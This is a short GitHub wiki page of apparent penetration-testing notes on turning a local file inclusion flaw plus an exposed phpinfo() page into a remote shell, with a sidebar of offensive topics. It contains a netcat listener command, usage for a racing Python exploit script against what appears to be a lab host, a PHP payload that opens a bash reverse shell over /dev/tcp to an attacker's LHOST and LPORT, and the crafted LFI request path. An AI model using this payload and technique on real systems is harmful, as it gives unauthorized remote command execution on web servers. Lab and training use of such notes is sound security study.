Skip to content

PHPInfo attacks

lethanhtung01011980 edited this page Jun 18, 2020 · 11 revisions

Goals

  • To attack PHPInfo

LFI + PHPINFO = SHELL

PHPINFO (with upload function) to upload and LFI to get back result.

It's time for some simple maths:

LFI + phpinfo() = SHELL :D

Don't forget to change LHOST, LPORT inside the script and to setup your listener:

  • $ nc -lvp 60001
  • Usage : python2 ./lfiphpinfo.py 10.10.10.43 80 number_of_threads
  • Because we deal with a racing condition, you may have to run this script a couple of times until it succeeds. But I have tested it and it definitely works. :D

Notes:

  • Need to fix PHPSESSID after using Burp
  • Payload: PAYLOAD="""Security Test\r<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"""+str(LHOST)+"""/"""+str(LPORT)+""" 0>&1'\");?>\r"""
  • Need /.. before %s: LFIREQ="""GET /department/manage.php?notes=/ninevehNotes.txt/..%s HTTP/1.1\r

Sidebar

0. COMMON exploits

1. Scan Info

1.2 Passive Gathering

1.3 Active Gathering

2. Pre-attack

2.2 File transfer

3. Get Reverse Shell

4. Exploits

4.2 Windows Exploits

4.3 Linux Exploits

4.4 Password crack

4.5 Buffer Overflow

4.6 Web attacks

6. Escalate Privilege

6.1 Escalate in Windows

6.2 Escalate in Linux

7. Access and further attacks

8. Port redirection and Tunnelling

9. Metasploit

10. Kali

11. Thirdparty scripts

Clone this wiki locally